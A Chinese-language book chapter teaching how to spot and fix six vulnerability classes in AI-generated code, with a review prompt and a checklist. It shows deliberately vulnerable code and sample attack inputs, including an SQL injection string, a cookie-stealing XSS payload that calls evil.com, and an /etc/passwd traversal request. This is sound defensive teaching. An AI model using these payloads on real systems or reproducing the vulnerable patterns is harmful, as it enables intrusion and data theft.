第 18 章

AI 生成代码的安全审查——6类漏洞的识别与修复完全指南

第18章:AI 生成代码的安全审查——6类漏洞的识别与修复完全指南

AI 不是随机出错,它的安全漏洞有规律:训练数据里充斥着不安全的旧代码,AI 倾向于"最直接"的写法,而安全写法往往更复杂。本章用真实代码示例展示 6 类 AI 最常见安全漏洞,每类给出可运行的反例、正确修复、以及如何在 .cursorrules 里预防。附 20 条安全检查清单和一个完整的 AI 安全审查 Prompt。

本章学习目标: 能识别 AI 生成代码中 SQL 注入、XSS、密钥泄露、路径遍历、不安全反序列化、权限缺失 6 类漏洞;掌握每类漏洞的修复模式;拿到可以直接用的 AI 安全审查 Prompt 和 20 条检查清单。

为什么 AI 生成的代码有特定的安全问题

AI 的安全漏洞不是随机的,有三个根本原因:

结论:AI 代码必须过安全 Review,尤其是处理用户输入、文件操作、数据库查询的部分。

漏洞1:SQL 注入(最常见,危害最大)

当你告诉 AI "查询 username 为 X 的用户",它大概率会给你字符串拼接的 SQL。

错误示例——字符串拼接 SQL(危险)

def get_user(username: str):
    # AI 经常生成这种写法,看起来简洁,实则危险
    query = f"SELECT * FROM users WHERE username = '{username}'"
    return db.execute(query)

# 攻击者输入:' OR '1'='1
# 实际执行:SELECT * FROM users WHERE username = '' OR '1'='1'
# 结果:返回所有用户,绕过认证

正确修复——参数化查询

# 方法1:参数化查询(原生 DB-API)
def get_user(username: str):
    query = "SELECT * FROM users WHERE username = :username"
    return db.execute(query, {"username": username})

# 方法2:ORM(最推荐,自动处理转义)
def get_user(username: str, db: Session):
    return db.query(User).filter(User.username == username).first()

# 方法3:需要动态列名时,用白名单而不是直接拼接
ALLOWED_COLUMNS = {"username", "email", "created_at"}
def get_user_by_field(field: str, value: str):
    if field not in ALLOWED_COLUMNS:
        raise ValueError(f"Invalid field: {field}")
    query = f"SELECT * FROM users WHERE {field} = :value"  # field 已白名单验证
    return db.execute(query, {"value": value})

在 .cursorrules 里预防:

## 数据库安全(必须)
永远不要用字符串拼接构建 SQL 查询。
必须使用参数化查询或 ORM。
禁止:f"SELECT ... WHERE id = {user_id}"
必须:db.execute("SELECT ... WHERE id = ?", [user_id])
或:User.query.filter_by(id=user_id).first()

漏洞2:XSS(React 特有风险)

React 自动转义 JSX 中的文本内容,但 dangerouslySetInnerHTML 完全绕过这个保护。AI 为了"方便渲染富文本"经常用它,却不考虑输入来源。

错误示例——不安全的 HTML 渲染

// AI 生成的"方便"写法——如果 comment 来自用户输入就是 XSS
function UserComment({ comment }: { comment: string }) {
  return <div dangerouslySetInnerHTML={{ __html: comment }} />;
}
// 攻击者输入:<script>fetch('https://evil.com/?c='+document.cookie)</script>
// 结果:用户 Cookie 被窃取

正确修复——文本渲染或 DOMPurify 净化

// 方法1:直接渲染文本(React 自动转义,90% 场景用这个)
function UserComment({ comment }: { comment: string }) {
  return <div>{comment}</div>;
  // <script> 会被渲染为文本而不是执行
}

// 方法2:必须渲染 HTML 时,先用 DOMPurify 净化
import DOMPurify from 'dompurify';

function RichComment({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target']
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

在 .cursorrules 里预防:

## XSS 防护(必须)
React 组件中禁止直接使用 dangerouslySetInnerHTML 渲染用户输入。
如果必须渲染富文本,必须先用 DOMPurify.sanitize() 净化,并注释说明数据来源。

漏洞3:硬编码密钥(推送到 GitHub 即失效)

AI 写"示例代码"时经常直接在代码里填入 API Key。你不仔细看就直接 commit,Key 被推到 GitHub,扫描机器人在几分钟内发现并尝试使用。

错误示例——硬编码密钥

import stripe

# AI 生成的示例代码,你一不小心就 commit 了
stripe.api_key = "sk_live_abc123xxxxxxxxxxxxxxxxxxxxxxxx"
JWT_SECRET = "mysecretkey123"
DATABASE_URL = "postgresql://admin:[email protected]/mydb"

正确修复——所有密钥从环境变量读取

import os
import stripe
from dotenv import load_dotenv

load_dotenv()  # 从 .env 文件加载(.env 必须在 .gitignore 里)

# 用 [] 而不是 .get():密钥不存在时立即报错,不会静默失败
stripe.api_key = os.environ["STRIPE_SECRET_KEY"]
JWT_SECRET = os.environ["JWT_SECRET"]
DATABASE_URL = os.environ["DATABASE_URL"]

# 启动时检查所有必需密钥
REQUIRED_KEYS = ["STRIPE_SECRET_KEY", "JWT_SECRET", "DATABASE_URL"]
missing = [k for k in REQUIRED_KEYS if not os.environ.get(k)]
if missing:
    raise EnvironmentError(f"Missing required env vars: {missing}")

自动检测——在 git pre-commit hook 里加扫描:

# 安装 gitleaks(比 git-secrets 更强大)
brew install gitleaks

# 手动扫描历史 commit
gitleaks detect --source . --log-opts="HEAD~50..HEAD"

漏洞4:路径遍历

AI 生成文件读取功能时,经常直接把用户输入拼接到文件路径里。攻击者用 ../../ 就能跳出预期目录,读取系统文件。

错误示例——直接拼接用户输入路径

from fastapi import FastAPI
app = FastAPI()

@app.get("/files/{filename}")
def read_file(filename: str):
    # 危险:用户可以请求 /files/../../etc/passwd
    path = f"/app/uploads/{filename}"
    return open(path).read()
# 攻击:GET /files/../../etc/passwd
# 结果:读到 /etc/passwd

正确修复——路径规范化 + 边界检查

import re
from fastapi import FastAPI, HTTPException
from pathlib import Path

app = FastAPI()
BASE_DIR = Path("/app/uploads").resolve()  # 规范化绝对路径

@app.get("/files/{filename}")
def read_file(filename: str):
    # 第1步:白名单——只允许安全字符
    if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
        raise HTTPException(status_code=400, detail="Invalid filename")

    # 第2步:解析真实路径(resolve 会消除 ../ 等)
    file_path = (BASE_DIR / filename).resolve()

    # 第3步:确认真实路径在允许目录内
    if not str(file_path).startswith(str(BASE_DIR)):
        raise HTTPException(status_code=403, detail="Access denied")

    if not file_path.exists():
        raise HTTPException(status_code=404, detail="File not found")

    return file_path.read_text()

漏洞5:不安全的反序列化

Python 的 pickle 在反序列化时可以执行任意 Python 代码。AI 在缓存场景里经常建议用它,但只要数据来源不可信(Redis 被攻击、网络传输),就是高危漏洞。

错误示例——pickle 处理外部数据

import pickle, redis
r = redis.Redis()

def load_session(session_id: str):
    data = r.get(f"session:{session_id}")
    # 高危:如果 Redis 被攻击者写入恶意 pickle,会执行任意代码
    return pickle.loads(data) if data else None

正确修复——JSON + Pydantic 验证

import json, redis
from pydantic import BaseModel

class UserSession(BaseModel):
    user_id: int
    username: str
    roles: list[str]
    expires_at: str

r = redis.Redis()

def load_session(session_id: str) -> UserSession | None:
    data = r.get(f"session:{session_id}")
    if not data:
        return None
    # JSON 反序列化不能执行代码;Pydantic 验证字段类型
    return UserSession.model_validate_json(data)

def save_session(session_id: str, session: UserSession, ttl: int = 3600):
    r.setex(f"session:{session_id}", ttl, session.model_dump_json())

规则:永远不要用 pickle.loads() 处理来自网络、用户输入或外部存储的数据。 只在完全受控的内部数据上用 pickle(比如本地机器学习模型文件)。

漏洞6:权限检查缺失

AI 生成 API 端点时,经常只写功能逻辑,忘记权限检查。结果是任何登录用户都能访问所有用户的数据。

错误示例——缺少权限验证

from fastapi import FastAPI, Depends
app = FastAPI()

@app.get("/api/users/{user_id}/orders")
def get_user_orders(user_id: int, current_user=Depends(get_current_user)):
    # 只验证了登录,没验证是否有权访问这个 user_id 的数据
    return db.query(Order).filter(Order.user_id == user_id).all()
    # 攻击:用自己的 token,把 user_id 改成别人的 ID,能看到所有人的订单

正确修复——检查当前用户只能访问自己的资源

from fastapi import FastAPI, Depends, HTTPException
app = FastAPI()

@app.get("/api/users/{user_id}/orders")
def get_user_orders(
    user_id: int,
    current_user: User = Depends(get_current_user)
):
    # 权限检查:只能看自己的数据,管理员除外
    if current_user.id != user_id and not current_user.is_admin:
        raise HTTPException(status_code=403, detail="Access denied")

    return db.query(Order).filter(Order.user_id == user_id).all()

# 更好的做法:直接用 current_user.id 查询,不依赖路径参数
@app.get("/api/my/orders")
def get_my_orders(current_user: User = Depends(get_current_user)):
    # 用 current_user.id 而不是 URL 参数,根本不存在越权可能
    return db.query(Order).filter(Order.user_id == current_user.id).all()

在 .cursorrules 里预防:

## 权限控制(必须)
每个 API 端点必须有权限检查。检查清单:
- 是否验证了用户已登录?
- 如果 URL 包含其他用户的 ID,是否验证了当前用户有权访问?
- 管理员操作是否单独验证了 is_admin?
优先使用"用当前用户 ID 查询"而不是"接受 URL 中的用户 ID"。

AI 安全审查 Prompt

把这个 Prompt 加入你的代码审查流程,在 Cursor Chat 里用 @文件引用配合使用:

你是安全工程师,审查以下代码的安全问题。

重点检查(按优先级):
1. 数据库查询:是否全部使用参数化查询?有没有字符串拼接 SQL?
2. 用户输入处理:所有来自用户的数据在使用前是否经过验证和转义?
3. 文件操作:路径是否经过规范化,且验证不超出允许目录?
4. 权限验证:每个需要权限的端点是否都有验证?是否存在越权访问风险?
5. 密钥管理:所有密钥是否从环境变量读取?有没有硬编码?
6. 反序列化:是否使用了 pickle/eval 处理外部数据?

只报告真实存在的问题。每个问题给出:
- 文件名和行号
- 漏洞类型
- 具体风险说明(用一句话描述攻击场景)
- 修复代码(可运行的正确写法)

@[要审查的文件]

20条 AI 代码安全检查清单

# 检查项 级别
1 所有 SQL 查询使用参数化查询或 ORM,无字符串拼接 必须
2 用户输入在使用前经过验证(Pydantic / Zod / 正则) 必须
3 没有密钥、密码、token 硬编码在代码里(扫描 git log) 必须
4 文件路径操作有规范化和边界检查,不能超出允许目录 必须
5 每个 API 端点有权限验证,不只是登录验证 必须
6 错误信息不暴露堆栈跟踪、数据库结构、内部 IP 等 必须
7 不使用 pickle/eval/exec 处理来自网络或用户的数据 必须
8 所有 API 通信强制 HTTPS,敏感数据不明文传输 必须
9 密码使用 bcrypt 或 argon2 哈希,不用 MD5/SHA1 必须
10 JWT 签名算法和密钥验证正确,不允许 alg:none 必须
11 生产环境关闭 debug 模式,关闭详细错误页面 必须
12 API 有速率限制,防暴力破解和 DDoS 建议
13 状态变更操作(POST/PUT/DELETE)有 CSRF Token 保护 建议
14 依赖包定期更新,CI 里跑 pip audit / npm audit 建议
15 日志不记录密码、token、完整信用卡号等敏感信息 建议
16 上传文件验证类型(MIME + 扩展名),限制大小 建议
17 数据库连接使用最小权限账号,不用 root/superuser 建议
18 敏感操作(删除、付款、改权限)有审计日志 建议
19 第三方 CDN 脚本使用 SRI(Subresource Integrity)校验 建议
20 定期做渗透测试,尤其是新功能上线前 建议

本章要点(全书收尾)

  1. AI 代码必须过安全 Review: AI 的安全漏洞有规律——SQL 注入、XSS、硬编码密钥是最高频的三类。把本章的检查清单贴到 PR 模板里,每次提交前对照检查一遍。
  2. 在 .cursorrules 里写安全规则是最高效的预防: 与其事后审查,不如让 AI 在生成代码时就遵守安全规范。禁止字符串拼接 SQL、禁止 dangerouslySetInnerHTML 用于用户输入、所有密钥从环境变量读取——这三条规则加进去,能消灭 80% 的 AI 安全问题。
  3. 路径遍历和权限检查是最容易被忽视的: SQL 注入现在大家都知道,但路径遍历(Path.resolve + 边界检查)和越权访问(URL 参数里的其他用户 ID)仍然频繁出现在 AI 生成的代码里。
  4. 用 gitleaks 做提交前扫描: 硬编码密钥一旦推送就可能已经泄露,本地扫描是最后一道防线。一个 pre-commit hook + gitleaks,5 分钟配好,能防止大量事故。
  5. AI 让写代码更快,也让犯错更快: 建立安全意识、制定团队规范、定期审查——这三件事做好,AI 才是真正的效率工具而不是隐患。全书 18 章读完,工具、技巧、流程都有了,接下来靠你在实际项目里实践和迭代。

全书完: 从第1章的"为什么是 AI 编程时代"到第18章的"AI 代码安全审查",这本书给了你从入门到生产部署所需的所有工具和方法。AI 编程领域还在快速演进——保持好奇、持续实践,是唯一能跟上的方法。

本章评分
4.7  / 5  (11 评分)

💬 留言讨论